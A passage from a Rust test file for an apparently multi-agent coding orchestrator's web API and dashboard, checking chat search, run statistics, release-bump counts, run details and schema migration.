19439 let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19440 assert_eq!((target.turn, target.message), (1, 1));
19441 assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19442 talk.title = Some(talk::ChatTitle {
19443 text: "運用について".into(),
19444 source: talk::TitleSource::Manual,
19445 });
19446 assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19447 }
19448
19449 #[tokio::test]
19450 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19451 let f = Fixture::start().await;
19452 write_talk(
19453 &f,
19454 "20260901-000001-aaaa",
19455 "open",
19456 &[
19457 (
19458 "operator",
19459 "\n Why does the Pangolin cache expire?\nsecond line",
19460 ),
19461 ("agent", "Because the TTL is thirty seconds."),
19462 ],
19463 );
19464 write_talk(
19465 &f,
19466 "20260901-000002-bbbb",
19467 "closed",
19468 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19469 );
19470 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19471
19472 let search = |q: &'static str| {
19473 let f = &f;
19474 async move {
19475 f.get(&format!("/api/search?scope=chats&q={q}"))
19476 .await
19477 .json()
19478 }
19479 };
19480
19481 let v = search("PANGOLIN").await;
19482 assert_eq!(v["scope"], "chats");
19483 assert_eq!(v["total"], 1, "{v}");
19484 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19485 assert_eq!(v["hits"][0]["field"], "title");
19486 assert_eq!(v["unreadable"], 1, "{v}");
19487 let marked: Vec<&str> = v["hits"][0]["snippet"]
19488 .as_array()
19489 .unwrap()
19490 .iter()
19491 .filter(|p| p["hit"] == true)
19492 .map(|p| p["text"].as_str().unwrap())
19493 .collect();
19494 assert_eq!(marked, ["Pangolin"]);
19495
19496 let v = search("zebra").await;
19498 assert_eq!(v["total"], 1, "{v}");
19499 assert_eq!(v["hits"][0]["field"], "agent");
19500 assert_eq!(search("pangolin%20thirty").await["total"], 1);
19502 assert_eq!(search("pangolin%20zebra").await["total"], 0);
19503 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19505 assert_eq!(search(q).await["total"], 0, "{q}");
19506 }
19507 assert_eq!(search("second").await["hits"][0]["field"], "operator");
19509 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19511
19512 let v = f.get("/api/search?scope=nope&q=a").await;
19513 assert_eq!(v.status, 400);
19514 assert!(
19515 v.body.contains("scope must be runs, tasks or chats"),
19516 "{}",
19517 v.body
19518 );
19519 }
19520
19521 #[test]
19522 fn a_question_card_links_a_task_id_to_the_task_page() {
19523 let start = APP_JS
19524 .find("function updateAskCard(")
19525 .expect("updateAskCard exists");
19526 let body = &APP_JS[start..];
19527 let body = &body[..body.find("\n}\n").expect("function end")];
19528 assert!(body.contains("question.run_is_task"));
19529 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19530 assert!(body.contains("`#/runs/${question.run}`"));
19531 assert!(body.contains("\"task\" : \"run\""));
19532 }
19533
19534 #[test]
19535 fn plain_text_message_surfaces_go_through_linkify() {
19536 assert!(APP_JS.contains("function linkify("));
19537 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19538 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19539 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19540 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19541 assert!(!APP_JS.contains("innerHTML = text"));
19542 }
19543
19544 #[test]
19545 fn implementation_rate_views_keep_independent_samples() {
19546 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19547 let a = stats::AgentStats {
19548 competitive_entered: competitive_n,
19549 competitive_wins: usize::from(competitive_n > 0),
19550 solo_entered: solo_n,
19551 solo_adopted: 2 * usize::from(solo_n > 0),
19552 ..Default::default()
19553 };
19554 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19555 for (key, n, numerator) in [
19556 ("competitive_win_rate", competitive_n, a.competitive_wins),
19557 ("solo_adoption_rate", solo_n, a.solo_adopted),
19558 ] {
19559 if n == 0 {
19560 assert!(v[key].is_null());
19561 } else {
19562 assert_eq!(v[key]["denominator"], n);
19563 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19564 }
19565 }
19566 }
19567 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19568 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19569 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19570 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19571 }
19572
19573 #[test]
19574 fn stats_bars_share_one_id_keyed_plan() {
19575 let start = APP_JS
19576 .find("function statsBarRows(")
19577 .expect("statsBarRows exists");
19578 let body = &APP_JS[start..];
19579 let body = &body[..body.find("\n}\n").expect("function end")];
19580 assert!(body.contains("statsBarPlan(rows)"));
19581 assert!(body.contains("statsAgentTone(row.agent)"));
19582 assert!(!body.contains("candTone(i)"));
19583 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19584 for root in [
19585 "stats-agents-bars",
19586 "stats-solo-bars",
19587 "stats-reviewers-bars",
19588 ] {
19589 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19590 }
19591 }
19592
19593 #[test]
19594 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19595 let start = APP_JS
19596 .find("function renderStatsReviewerScatter(")
19597 .expect("renderStatsReviewerScatter exists");
19598 let body = &APP_JS[start..];
19599 let body = &body[..body.find("\n}\n").expect("function end")];
19600 assert!(body.contains("statsScatterPlan(reviewers)"));
19601 assert!(body.contains("statsAgentTone(d.agent)"));
19602 assert!(APP_JS.contains("function statsScatterPlan("));
19603 assert!(
19604 APP_JS.contains("d.submitted < STATS_LOW_N")
19605 || APP_JS.contains("r.submitted < STATS_LOW_N")
19606 );
19607 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19608 assert!(APP_CSS.contains(".precision-scatter"));
19609 }
19610
19611 #[test]
19612 fn advisor_reflection_is_drawn_as_stacked_segments() {
19613 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19614 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19615 let html = include_str!("../assets/ui/index.html");
19616 assert!(html.contains("Approximate"));
19617 for label in ["reflected strongly", "faint", "no proposal"] {
19618 assert!(html.contains(label));
19619 }
19620 let css = include_str!("../assets/ui/app.css");
19621 for c in ["refl-strong", "refl-faint", "refl-absent"] {
19622 assert!(css.contains(&format!(".{c} {{")));
19623 }
19624 }
19625
19626 #[test]
19627 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19628 assert!(APP_JS.contains("function statsDailyPlan("));
19629 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19630 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19631 }
19632
19633 #[test]
19634 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19635 let start = APP_JS
19636 .find("function scheduleSearch(")
19637 .expect("scheduleSearch exists");
19638 let body = &APP_JS[start..];
19639 let body = &body[..body.find("\n}\n").expect("function end")];
19640 assert!(body.contains("s.seq += 1"));
19641 }
19642
19643 #[tokio::test]
19648 async fn stats_runs_unreadable_matches_health() {
19649 let f = Fixture::start().await;
19650 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19651 let broken = f.runs().join("20260902-140502-bad");
19652 std::fs::create_dir_all(&broken).expect("run dir");
19653 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19654
19655 let stats = f.get("/api/stats").await;
19656 let health = f.get("/api/health").await;
19657
19658 assert_eq!(stats.status, 200);
19659 assert_eq!(stats.json()["totals"]["runs"], 1);
19660 assert_eq!(stats.json()["runs_unreadable"], 1);
19661 assert_eq!(
19662 stats.json()["runs_unreadable"],
19663 health.json()["runs_unreadable"],
19664 "the dashboard and /api/health must never disagree about how many \
19665 runs could not be read"
19666 );
19667 }
19668
19669 #[tokio::test]
19670 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19671 let f = Fixture::start().await;
19672 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19673 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19674 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19675
19676 let totals = &f.get("/api/stats").await.json()["totals"];
19677 assert_eq!(totals["runs"], 3);
19678 assert_eq!(totals["merged"], 1);
19679 assert_eq!(totals["stalled"], 1);
19680 assert_eq!(totals["in_progress"], 1);
19681 assert_eq!(totals["blocked"], 0);
19684 assert_eq!(totals["ready"], 0);
19685 }
19686
19687 #[tokio::test]
19688 async fn stats_advisors_report_proposals_and_reflection() {
19689 use crate::advise::{Advice, AdvisorRecord, Reflection};
19690 use crate::verdict::Proposal;
19691
19692 let f = Fixture::start().await;
19693 let mut state = RunState::new(
19694 PathBuf::from("/repo/magi"),
19695 "main".to_owned(),
19696 "0123456789abcdef".to_owned(),
19697 "task".to_owned(),
19698 Config::default(),
19699 );
19700 state.id = "20260902-140501-a".to_owned();
19701 state.status = RunStatus::Merged;
19702 state.advice = Some(Advice {
19703 records: vec![
19704 AdvisorRecord {
19705 seat: "advisor-1".to_owned(),
19706 agent: "alpha".to_owned(),
19707 proposal: Some(Proposal {
19708 approach: "do it".to_owned(),
19709 key_tradeoff: "speed over memory".to_owned(),
19710 risks: Vec::new(),
19711 touches: Vec::new(),
19712 why_not_naive: "breaks under load".to_owned(),
19713 }),
19714 error: None,
19715 duration_ms: 0,
19716 reflection: Reflection::Strong,
19717 },
19718 AdvisorRecord {
19719 seat: "advisor-2".to_owned(),
19720 agent: "alpha".to_owned(),
19721 proposal: None,
19722 error: Some("timed out".to_owned()),
19723 duration_ms: 0,
19724 reflection: Reflection::Absent,
19725 },
19726 ],
19727 synthesis: Some("blended brief".to_owned()),
19728 });
19729 let dir = f.runs().join(&state.id);
19730 std::fs::create_dir_all(&dir).expect("run dir");
19731 std::fs::write(
19732 dir.join("run.json"),
19733 serde_json::to_string_pretty(&state).expect("serialize run"),
19734 )
19735 .expect("write run.json");
19736
19737 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19739 let alpha = advisors
19740 .as_array()
19741 .expect("an array")
19742 .iter()
19743 .find(|a| a["agent"] == "alpha")
19744 .expect("alpha row");
19745 assert_eq!(alpha["seated"], 2);
19746 assert_eq!(alpha["proposed"], 1);
19747 assert_eq!(alpha["absent"], 1);
19748 assert_eq!(alpha["strong"], 1);
19749 assert_eq!(alpha["faint"], 0);
19750 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19751 }
19752
19753 #[tokio::test]
19754 async fn stats_hides_agents_outside_the_roster_unless_all() {
19755 use crate::run::Candidate;
19756 let repo = TempDir::new().expect("repo dir");
19757 std::fs::write(
19758 repo.path().join("magi.toml"),
19759 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19760 )
19761 .expect("magi.toml");
19762 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19763 let mut state = RunState::new(
19764 PathBuf::from("/repo/magi"),
19765 "main".to_owned(),
19766 "0123456789abcdef".to_owned(),
19767 "task".to_owned(),
19768 Config::default(),
19769 );
19770 state.id = "20260902-140501-a".to_owned();
19771 state.status = RunStatus::Merged;
19772 for (label, agent) in [('A', "keep"), ('B', "retired")] {
19773 let mut c: Candidate = serde_json::from_value(serde_json::json!({
19774 "index": 0, "label": label.to_string(), "agent": agent,
19775 "branch": "b", "worktree": "/w",
19776 }))
19777 .expect("candidate");
19778 c.label = label;
19779 state.candidates.push(c);
19780 }
19781 let dir = f.runs().join(&state.id);
19782 std::fs::create_dir_all(&dir).expect("run dir");
19783 std::fs::write(
19784 dir.join("run.json"),
19785 serde_json::to_string_pretty(&state).expect("serialize run"),
19786 )
19787 .expect("write run.json");
19788
19789 let agents_of = |v: &serde_json::Value| -> Vec<String> {
19790 v["agents"]
19791 .as_array()
19792 .expect("array")
19793 .iter()
19794 .map(|a| a["agent"].as_str().unwrap().to_owned())
19795 .collect()
19796 };
19797 let hidden = f.get("/api/stats").await.json();
19798 assert_eq!(agents_of(&hidden), ["keep"]);
19799 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19800 assert_eq!(hidden["totals"]["runs"], 1);
19801
19802 let all = f.get("/api/stats?all=true").await.json();
19803 assert_eq!(agents_of(&all).len(), 2);
19804 assert_eq!(all["retired_hidden"], serde_json::json!([]));
19805 let keep_agent = all["agents"]
19807 .as_array()
19808 .unwrap()
19809 .iter()
19810 .find(|a| a["agent"] == "keep")
19811 .unwrap();
19812 assert_eq!(keep_agent["competitive_entered"], 1);
19813 assert_eq!(keep_agent["competitive_wins"], 0);
19814 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19815 assert_eq!(keep_agent["solo_entered"], 0);
19816 assert_eq!(keep_agent["solo_adopted"], 0);
19817 assert!(keep_agent["solo_adoption_rate"].is_null());
19818 }
19819
19820 #[tokio::test]
19821 async fn stats_release_bumps_split_clean_from_attention() {
19822 use crate::run::ReleaseBump;
19823
19824 let f = Fixture::start().await;
19825
19826 let mut clean = RunState::new(
19827 PathBuf::from("/repo/magi"),
19828 "main".to_owned(),
19829 "0123456789abcdef".to_owned(),
19830 "task".to_owned(),
19831 Config::default(),
19832 );
19833 clean.id = "20260902-140501-a".to_owned();
19834 clean.status = RunStatus::Merged;
19835 clean.release_bump = Some(ReleaseBump {
19836 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19837 version: Some("1.0.0".to_owned()),
19838 automerge_enabled: true,
19839 merged_directly: false,
19840 local: false,
19841 release: None,
19842 problem: None,
19843 action_required: None,
19844 skipped: None,
19845 });
19846
19847 let mut blocked = RunState::new(
19848 PathBuf::from("/repo/magi"),
19849 "main".to_owned(),
19850 "0123456789abcdef".to_owned(),
19851 "task".to_owned(),
19852 Config::default(),
19853 );
19854 blocked.id = "20260902-140502-b".to_owned();
19855 blocked.status = RunStatus::Merged;
19856 blocked.release_bump = Some(ReleaseBump {
19857 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19858 version: Some("1.0.1".to_owned()),
19859 automerge_enabled: false,
19860 merged_directly: false,
19861 local: false,
19862 release: None,
19863 problem: Some("checks red".to_owned()),
19864 action_required: Some("look at the PR".to_owned()),
19865 skipped: None,
19866 });
19867
19868 for state in [&clean, &blocked] {
19869 let dir = f.runs().join(&state.id);
19870 std::fs::create_dir_all(&dir).expect("run dir");
19871 std::fs::write(
19872 dir.join("run.json"),
19873 serde_json::to_string_pretty(state).expect("serialize run"),
19874 )
19875 .expect("write run.json");
19876 }
19877
19878 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19879 assert_eq!(bumps["merged"], 2);
19880 assert_eq!(bumps["recorded"], 2);
19881 assert_eq!(bumps["pr_opened"], 2);
19882 assert_eq!(bumps["automerge_enabled"], 1);
19883 assert_eq!(bumps["needs_attention"], 1);
19884 assert_eq!(bumps["clean"], 1);
19885 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19886 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19887 }
19888
19889 #[tokio::test]
19890 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19891 let f = Fixture::start().await;
19892 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19893
19894 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19895 assert_eq!(bumps["merged"], 1);
19896 assert_eq!(bumps["recorded"], 0);
19897 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19900 assert_eq!(bumps["automerge_rate"], Value::Null);
19903 assert_eq!(bumps["attention_rate"], Value::Null);
19904 }
19905
19906 #[tokio::test]
19907 async fn stats_queue_counts_come_from_the_live_queue() {
19908 let f = Fixture::start().await;
19909 let q = f.queue();
19910 let mut queued = Task::new(
19911 "queued task".to_owned(),
19912 "do it".to_owned(),
19913 PathBuf::from("/repo"),
19914 Source::Human,
19915 );
19916 q.put(&mut queued).expect("put queued");
19917 let mut held = Task::new(
19918 "held task".to_owned(),
19919 "do it later".to_owned(),
19920 PathBuf::from("/repo"),
19921 Source::Human,
19922 );
19923 held.hold_machine(Some("out of attempts".to_owned()));
19924 q.put(&mut held).expect("put held");
19925
19926 let queue = f.get("/api/stats").await.json()["queue"].clone();
19927 assert_eq!(queue["queued"], 1);
19928 assert_eq!(queue["held"], 1);
19929 assert_eq!(queue["running"], 0);
19930 assert_eq!(queue["done"], 0);
19931 assert_eq!(queue["failed"], 0);
19932 assert_eq!(queue["blocked"], 0);
19933 }
19934
19935 #[tokio::test]
19936 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19937 let f = Fixture::start().await;
19938 let stats = f.get("/api/stats").await;
19939 assert_eq!(stats.status, 200);
19940 assert_eq!(stats.json()["totals"]["runs"], 0);
19941 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19942 assert_eq!(stats.json()["runs_unreadable"], 0);
19943 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19944 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19945 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19946 assert_eq!(stats.json()["repo"], Value::Null);
19947 }
19948
19949 #[tokio::test]
19950 async fn stats_lists_every_repository_with_runs_recorded() {
19951 let f = Fixture::start().await;
19952 write_run_repo(
19953 &f.runs(),
19954 "20260902-140501-a",
19955 RunStatus::Merged,
19956 "/repos/a",
19957 );
19958 write_run_repo(
19959 &f.runs(),
19960 "20260902-140502-b",
19961 RunStatus::Merged,
19962 "/repos/a",
19963 );
19964 write_run_repo(
19965 &f.runs(),
19966 "20260902-140503-c",
19967 RunStatus::Blocked,
19968 "/repos/b",
19969 );
19970
19971 let stats = f.get("/api/stats").await;
19972 assert_eq!(stats.status, 200);
19973 assert_eq!(stats.json()["totals"]["runs"], 3);
19975 assert_eq!(stats.json()["repo"], Value::Null);
19976
19977 let repos = stats.json()["repos"].clone();
19978 let repos = repos.as_array().unwrap();
19979 assert_eq!(repos.len(), 2);
19980 assert_eq!(repos[0]["repo"], "/repos/a");
19982 assert_eq!(repos[0]["name"], "a");
19983 assert_eq!(repos[0]["runs"], 2);
19984 assert_eq!(repos[1]["repo"], "/repos/b");
19985 assert_eq!(repos[1]["runs"], 1);
19986 }
19987
19988 #[tokio::test]
19989 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19990 let f = Fixture::start().await;
19991 write_run_repo(
19992 &f.runs(),
19993 "20260902-140501-a",
19994 RunStatus::Merged,
19995 "/repos/a",
19996 );
19997 write_run_repo(
19998 &f.runs(),
19999 "20260902-140502-b",
20000 RunStatus::Blocked,
20001 "/repos/b",
20002 );
20003
20004 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20005 assert_eq!(stats.status, 200);
20006 assert_eq!(stats.json()["totals"]["runs"], 1);
20007 assert_eq!(stats.json()["totals"]["merged"], 1);
20008 assert_eq!(stats.json()["repo"], "/repos/a");
20009 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20012 assert_eq!(stats.json()["runs_unreadable"], 0);
20015 }
20016
20017 #[tokio::test]
20018 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20019 let f = Fixture::start().await;
20020 write_run_repo(
20021 &f.runs(),
20022 "20260902-140501-a",
20023 RunStatus::Merged,
20024 "/repos/a",
20025 );
20026 write_run_repo(
20027 &f.runs(),
20028 "20260902-140502-b",
20029 RunStatus::Merged,
20030 "/repos/b",
20031 );
20032
20033 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20034 let json = f.get(uri).await.json();
20035 let daily = json["daily"].as_array().expect("daily is an array");
20036 assert_eq!(daily.len(), 30);
20037 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20038 let mut sorted = dates.clone();
20039 sorted.sort();
20040 assert_eq!(dates, sorted);
20041 for d in daily {
20042 assert_eq!(
20043 d["merged"].as_u64().unwrap()
20044 + d["ready"].as_u64().unwrap()
20045 + d["other"].as_u64().unwrap(),
20046 d["runs"].as_u64().unwrap()
20047 );
20048 }
20049 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20050 }
20051 }
20052
20053 #[tokio::test]
20054 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20055 let f = Fixture::start().await;
20056 write_run_repo(
20057 &f.runs(),
20058 "20260902-140501-a",
20059 RunStatus::Merged,
20060 "/repos/a",
20061 );
20062
20063 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20064 assert_eq!(stats.status, 404);
20065 }
20066
20067 #[tokio::test]
20068 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20069 let f = Fixture::start().await;
20070 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20071
20072 let summary = f.get("/api/runs").await.json();
20073 let row = &summary[0];
20074 assert_eq!(row["short"], "a1b2");
20075 assert_eq!(row["status"], "ready");
20076 assert_eq!(row["done"], true);
20077 assert_eq!(row["title"], "Add a web UI");
20078 assert_eq!(row["repo_name"], "magi");
20079 assert_eq!(row["judges"], 3);
20080 assert_eq!(row["winner"], Value::Null);
20081 assert_eq!(row["reviews"], 0);
20082
20083 let detail = f.get("/api/runs/a1b2").await;
20086 assert_eq!(detail.status, 200);
20087 assert_eq!(detail.json()["base_branch"], "main");
20088 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20089 }
20090
20091 #[tokio::test]
20099 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20100 let f = Fixture::start().await;
20101
20102 let mut none_run = RunState::new(
20103 PathBuf::from("/repo/magi"),
20104 "main".to_owned(),
20105 "0123456789abcdef".to_owned(),
20106 "Add a web UI".to_owned(),
20107 Config::default(),
20108 );
20109 none_run.id = "20260902-140503-none".to_owned();
20110 none_run.status = RunStatus::Ready;
20111 none_run.merge = Some(crate::run::MergeOutcome {
20112 mode: crate::config::MergeMode::None,
20113 ok: true,
20114 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20115 empty: false,
20116 });
20117 write_state(&f.runs(), &none_run);
20118
20119 let mut pr_run = RunState::new(
20120 PathBuf::from("/repo/magi"),
20121 "main".to_owned(),
20122 "0123456789abcdef".to_owned(),
20123 "Add a web UI".to_owned(),
20124 Config::default(),
20125 );
20126 pr_run.id = "20260902-140504-prcl".to_owned();
20127 pr_run.status = RunStatus::Ready;
20128 pr_run.merge = Some(crate::run::MergeOutcome {
20129 mode: crate::config::MergeMode::Pr,
20130 ok: false,
20131 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20132 empty: false,
20133 });
20134 write_state(&f.runs(), &pr_run);
20135
20136 let summary = f.get("/api/runs").await.json();
20137 let rows: std::collections::HashMap<&str, &Value> = summary
20138 .as_array()
20139 .expect("an array")
20140 .iter()
20141 .map(|r| (r["id"].as_str().expect("an id"), r))
20142 .collect();
20143 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20144 assert_eq!(
20145 rows[none_run.id.as_str()]["unmerged_by_design"],
20146 true,
20147 "a mode-none Ready must be flagged in the list"
20148 );
20149 assert_eq!(
20150 rows[pr_run.id.as_str()]["unmerged_by_design"],
20151 false,
20152 "a Ready reached by a closed pull request is a different case"
20153 );
20154
20155 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20156 assert_eq!(none_detail["status"], "ready");
20157 assert_eq!(none_detail["unmerged_by_design"], true);
20158
20159 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20160 assert_eq!(pr_detail["unmerged_by_design"], false);
20161 }
20162
20163 #[tokio::test]
20168 async fn run_core_survives_unavailable_related_stores() {
20169 let home = TempDir::new().unwrap();
20170 let ui = delta_test_ui(home.path());
20171 let state = RunState::new(
20172 PathBuf::from("/repo/magi"),
20173 "main".into(),
20174 "0123456789abcdef".into(),
20175 "Useful core instructions".into(),
20176 Config::default(),
20177 );
20178 let dir = ui.runs.join(&state.id);
20179 std::fs::create_dir_all(&dir).unwrap();
20180 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20181 std::fs::write(ui.questions.root(), "unavailable").unwrap();
20182 std::fs::write(ui.queue.root(), "unavailable").unwrap();
20183 let core = run_core(State(ui.clone()), Path(state.id.clone()))
20184 .await
20185 .unwrap()
20186 .0;
20187 assert_eq!(core.state.instruction, state.instruction);
20188 assert_eq!(core.state.updated_at, state.updated_at);
20189 assert!(core.task.is_none());
20190 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20191 }
20192
20193 #[tokio::test]
20194 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20195 let f = Fixture::start().await;
20196 let id = "20260902-140502-bbbb";
20200 let mut state = RunState::new(
20201 PathBuf::from("/repo/magi"),
20202 "main".to_owned(),
20203 "0123456789abcdef".to_owned(),
20204 "Add a web UI".to_owned(),
20205 Config::default(),
20206 );
20207 state.id = id.to_owned();
20208 state.status = RunStatus::Judging;
20209 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20210 let dir = f.runs().join(id);
20211 std::fs::create_dir_all(&dir).expect("run dir");
20212 std::fs::write(
20213 dir.join("run.json"),
20214 serde_json::to_string_pretty(&state).expect("serialize run"),
20215 )
20216 .expect("write run.json");
20217
20218 let cold = f.get(&format!("/api/runs/{id}")).await.json();
20224 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20225 assert_eq!(cold["live"], "unknown", "{cold}");
20226
20227 write_daemon(f.home.path(), Timestamp::now());
20230 let warm = f.get(&format!("/api/runs/{id}")).await.json();
20231 assert_eq!(warm["live"], "live", "{warm}");
20232 }
20233
20234 #[test]
20235 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20236 let home = tempfile::tempdir().expect("temp home");
20237 let runs = home.path().join("runs");
20238 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20239 let mut state = RunState::new(
20240 PathBuf::from("/repo/magi"),
20241 "main".to_owned(),
20242 "0123456789abcdef".to_owned(),
20243 "Generated review context, not authored task criteria".to_owned(),
20244 Config::default(),
20245 );
20246 state.origin = origin;
20247 state.status = RunStatus::Blocked;
20248 state.driver_exited = false;
20250 state.gate_ran = true;
20251 let expected = serde_json::to_value(&state).expect("serialize current state");
20252 let mut legacy = expected.clone();
20253 legacy["schema"] = serde_json::json!(13);
20254 legacy.as_object_mut().unwrap().remove("task_instruction");
20255 let dir = runs.join(&state.id);
20256 std::fs::create_dir_all(&dir).expect("run dir");
20257 let path = dir.join("run.json");
20258 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20259 std::fs::write(&path, &body).expect("write legacy run");
20260
20261 for loaded in [
20262 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20263 read_run(&runs, &state.id).expect("web migration"),
20264 ] {
20265 assert_eq!(loaded.schema, crate::run::SCHEMA);
20266 assert!(loaded.task_instruction.is_none());
20267 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20268 }
20269 assert_eq!(runs_unreadable(&runs), 0);
20270 assert_eq!(std::fs::read(&path).unwrap(), body);
20271 }
20272 }
20273
20274 #[tokio::test]
20277 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20278 let f = Fixture::start().await;
20279 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20280 let mut state = RunState::new(
20281 PathBuf::from("/repo/magi"),
20282 "main".to_owned(),
20283 "0123456789abcdef".to_owned(),
20284 "Add a web UI".to_owned(),
20285 Config::default(),
20286 );
20287 state.id = id.to_owned();
20288 state.origin = origin;
20289 let mut value = serde_json::to_value(&state).expect("serialize run");
20290 if let Some(schema) = schema {
20291 value["schema"] = serde_json::json!(schema);
20292 value.as_object_mut().unwrap().remove("origin");
20293 }
20294 let dir = f.runs().join(id);
20295 std::fs::create_dir_all(&dir).expect("run dir");
20296 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20297 };
20298 write(
20299 "20260930-092817-ec34",
20300 Some(crate::run::Origin::from_agent_env(
20301 Some(("4a7b".to_owned(), "chat".to_owned())),
20302 None,
20303 )),
20304 None,
20305 );
20306 write("20260930-092817-0ld1", None, Some(12));
20307
20308 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20309 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20310 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20311
20312 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20313 assert_eq!(
20314 old["origin_label"], "origin unknown (started before origins were recorded)",
20315 "{old}"
20316 );
20317 assert!(old["origin"].is_null(), "{old}");
20318
20319 let list = f.get("/api/runs").await.json();
20320 let labels: Vec<_> = list
20321 .as_array()
20322 .unwrap()
20323 .iter()
20324 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20325 .collect();
20326 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20327 }
20328
20329 #[tokio::test]
20330 async fn run_progress_observation_exposes_activity_without_control_evidence() {
20331 let f = Fixture::start().await;
20332 let mut state = RunState::new(
20333 PathBuf::from("/repo"),
20334 "main".into(),
20335 "abc".into(),
20336 "task".into(),
20337 Config::default(),
20338 );
20339 state.status = RunStatus::Implementing;
20340 state.seat_started(
20341 "implement",
20342 "implement-A",
20343 std::time::Duration::from_secs(60),
20344 0,
20345 );
20346 state.save_under(f.home.path()).unwrap();
20347 let observed = f
20348 .get(&format!("/api/runs/{}/progress", state.id))
20349 .await
20350 .json();
20351 assert_eq!(observed["id"], state.id);
20352 assert!(observed["observed_at"].is_string());
20353 assert_eq!(observed["updated_at"], state.updated_at.to_string());
